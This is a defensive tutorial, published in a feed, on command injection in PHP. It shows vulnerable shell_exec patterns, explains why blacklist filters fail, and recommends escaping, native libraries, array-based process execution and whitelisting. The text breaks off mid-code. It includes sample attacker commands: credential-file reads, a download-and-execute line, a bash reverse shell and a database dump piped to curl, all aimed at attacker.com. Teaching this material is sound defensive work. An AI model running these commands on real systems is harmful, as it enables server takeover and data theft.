      <pubDate>Fri, 31 Jul 2026 12:45:44 +0000</pubDate>
      <link>https://dev.to/kriosa/command-injection-in-php-when-exec-becomes-an-attack-surface-49k1</link>
      <guid>https://dev.to/kriosa/command-injection-in-php-when-exec-becomes-an-attack-surface-49k1</guid>
      <description>&lt;p&gt;Orinally published on Medium and Kriosa&lt;br&gt;
One unsanitized argument reaching a shell function is all an attacker needs to own your server. Here's how command injection works, why blacklist filters always fail, and the fixes that actually stop it.&lt;br&gt;
This is the ninth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;File upload security — the file that isn't what it claims to be&lt;/li&gt;
&lt;li&gt;Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle: understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Command injection is no different. And it is the most severe vulnerability in this series — because it does not just expose your data. It hands an attacker the keys to your entire server.&lt;/p&gt;
&lt;h2&gt;
  
  
  What Command Injection Actually Is
&lt;/h2&gt;

&lt;p&gt;Command injection is an attack where an attacker injects operating system commands into your application and your server executes them.&lt;/p&gt;

&lt;p&gt;It is similar in structure to SQL injection — user input gets interpreted as a command instead of data. But the consequences are more immediate and more severe. SQL injection attacks your database. Command injection attacks your entire server.&lt;/p&gt;

&lt;p&gt;One unsanitized argument. One shell function. Full server takeover.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why PHP Is Particularly Exposed
&lt;/h2&gt;

&lt;p&gt;PHP has several functions that execute operating system commands directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;passthru&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;popen&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;proc_open&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="c1"&gt;// And the backtick operator&lt;/span&gt;
&lt;span class="sb"&gt;`command`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These functions exist for legitimate reasons — generating image thumbnails, converting file formats, sending emails via sendmail, running system utilities. The problem is when user input reaches them without sanitization.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Attack in Plain Terms
&lt;/h2&gt;

&lt;p&gt;Your application converts uploaded images:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' -resize 800x600 output.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A legitimate user sends:&lt;/p&gt;

&lt;p&gt;file=photo.jpg&lt;/p&gt;

&lt;p&gt;The command becomes:&lt;/p&gt;

&lt;p&gt;convert photo.jpg -resize 800x600 output.jpg&lt;/p&gt;

&lt;p&gt;Clean. Expected. Safe.&lt;/p&gt;

&lt;p&gt;An attacker sends:&lt;/p&gt;

&lt;p&gt;file=photo.jpg; cat /etc/passwd&lt;/p&gt;

&lt;p&gt;The command becomes:&lt;/p&gt;

&lt;p&gt;convert photo.jpg -resize 800x600 output.jpg; cat /etc/passwd&lt;/p&gt;

&lt;p&gt;The semicolon tells the shell: run the first command, then run the second. Your server outputs the contents of &lt;code&gt;/etc/passwd&lt;/code&gt;. The attacker now knows every user account on the system.&lt;/p&gt;

&lt;p&gt;That is command injection. One semicolon. One unsanitized input. Complete information disclosure.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Command Chaining Characters
&lt;/h2&gt;

&lt;p&gt;Attackers use several characters to chain commands:&lt;/p&gt;

&lt;p&gt;; — run command1 then command2&lt;br&gt;
&amp;amp;&amp;amp; — run command2 only if command1 succeeds&lt;br&gt;
|| — run command2 only if command1 fails&lt;br&gt;
| — pipe output of command1 into command2&lt;br&gt;
command — backtick executes command inline&lt;br&gt;
$(command) — subshell execution&lt;br&gt;
\n — newline separates commands in some contexts&lt;br&gt;
Each works differently. All achieve the same result — injecting additional commands into your shell execution.&lt;/p&gt;
&lt;h2&gt;
  
  
  What Attackers Do After Getting Command Execution
&lt;/h2&gt;

&lt;p&gt;Once an attacker has command execution they move fast.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Read sensitive files:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/www/.env
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/shadow
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.ssh/id_rsa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Download and execute malware:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget https://attacker.com/malware.sh &lt;span class="nt"&gt;-O&lt;/span&gt; /tmp/m.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/m.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; /tmp/m.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Open a reverse shell — persistent access:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/attacker.com/4444 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This opens a persistent connection from your server to the attacker's machine. They type commands on their end. Your server executes them. They now have an interactive terminal on your server — from anywhere in the world.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exfiltrate your entire database:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mysqldump &lt;span class="nt"&gt;-u&lt;/span&gt; root &lt;span class="nt"&gt;-pPASSWORD&lt;/span&gt; database | curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST attacker.com/receive &lt;span class="nt"&gt;-d&lt;/span&gt; @-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All of this from one unsanitized input reaching &lt;code&gt;shell_exec()&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The PHP Functions That Create This Risk
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Image processing:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'filename'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' thumbnail.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;PDF generation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="nv"&gt;$url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'url'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'wkhtmltopdf '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$url&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' output.pdf'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Network diagnostic tools:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="nv"&gt;$host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'host'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ping -c 4 '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ping tools are one of the most common places command injection appears in PHP applications. Developers build a network diagnostic feature and forget the host parameter goes directly into a shell command.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ZIP file creation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="nv"&gt;$name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'archive_name'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'zip -r '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$name&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'.zip /var/www/storage/uploads/'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The Wrong Fixes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 1 — Filtering specific characters:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;';'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'filename'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' thumbnail.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker uses &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; instead of &lt;code&gt;;&lt;/code&gt;. Bypassed instantly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 2 — Blacklisting known bad characters:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$badChars&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;';'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&amp;amp;&amp;amp;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'||'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'|'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'`'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$badChars&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'filename'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Invalid input'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker uses &lt;code&gt;$()&lt;/code&gt; subshell syntax or a newline character. Bypassed.&lt;/p&gt;

&lt;p&gt;Blacklist-based filters always fail for command injection for the same reason they fail for SQL injection and XSS — the number of ways to represent shell metacharacters is effectively unlimited. You are playing catch-up against an attacker who has infinite variations. You cannot win that game.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Correct Fixes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Fix 1 — escapeshellarg() for user-supplied values&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;escapeshellarg()&lt;/code&gt; wraps a value in single quotes and escapes any single quotes within it. This forces the shell to treat the entire value as a single argument — not as a command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Safe&lt;/span&gt;
&lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;escapeshellarg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'filename'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' -resize 800x600 output.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the attacker sends &lt;code&gt;photo.jpg; cat /etc/passwd&lt;/code&gt; the function produces:&lt;br&gt;
'photo.jpg; cat /etc/passwd'&lt;br&gt;
The shell treats the semicolon as part of the filename string — not as a command separator. The injection fails.&lt;/p&gt;

&lt;p&gt;Use &lt;code&gt;escapeshellarg()&lt;/code&gt; for every individual user-supplied argument that reaches a shell function. It is the most important single function in PHP for command injection prevention.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 2 — escapeshellcmd() for the full command&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;escapeshellcmd()&lt;/code&gt; escapes shell metacharacters in a complete command string. It is less targeted than &lt;code&gt;escapeshellarg()&lt;/code&gt; and should not be used as a substitute for escaping individual arguments.&lt;/p&gt;

&lt;p&gt;The correct pattern is: use &lt;code&gt;escapeshellarg()&lt;/code&gt; on each user-supplied value, and optionally use &lt;code&gt;escapeshellcmd()&lt;/code&gt; on the full command string as an additional layer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 3 — Avoid shell functions entirely&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The strongest fix is not calling shell commands at all. Most things developers use shell commands for have PHP library alternatives:&lt;/p&gt;

&lt;p&gt;Instead of calling ImageMagick via shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' thumbnail.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — PHP's Imagick extension&lt;/span&gt;
&lt;span class="nv"&gt;$imagick&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Imagick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$imagick&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;resizeImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;800&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;600&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Imagick&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;FILTER_LANCZOS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$imagick&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;writeImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'thumbnail.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of calling zip via shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'zip -r archive.zip '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$directory&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — PHP's ZipArchive&lt;/span&gt;
&lt;span class="nv"&gt;$zip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ZipArchive&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$zip&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'archive.zip'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;ZipArchive&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;CREATE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$zip&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;addFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nv"&gt;$zip&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If PHP has a native library for what you need — use it. Shell commands should be a last resort.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 4 — Array-based process execution&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When you must run external commands pass arguments as an array rather than a string. When PHP receives an array it passes arguments directly to the operating system without invoking a shell interpreter. No shell means no shell metacharacter parsing. No parsing means no injection.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — string goes through shell&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' output.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — array bypasses shell entirely&lt;/span&gt;
&lt;span class="nv"&gt;$process&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;proc_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'convert'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'-resize'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'800x600'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'output.jpg'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'pipe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'w'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'pipe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'w'&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;
    &lt;span class="nv"&gt;$pipes&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The difference is fundamental. A string command goes through &lt;code&gt;/bin/sh&lt;/code&gt; which interprets every metacharacter. An array command goes directly to the kernel which treats every element as a literal argument.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 5 — Whitelist before any shell call&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you must use shell commands with user input validate against a strict whitelist before the input reaches any shell function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$allowedFiles&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'photo1.jpg'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'photo2.jpg'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'photo3.jpg'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'filename'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$allowedFiles&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Invalid file.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

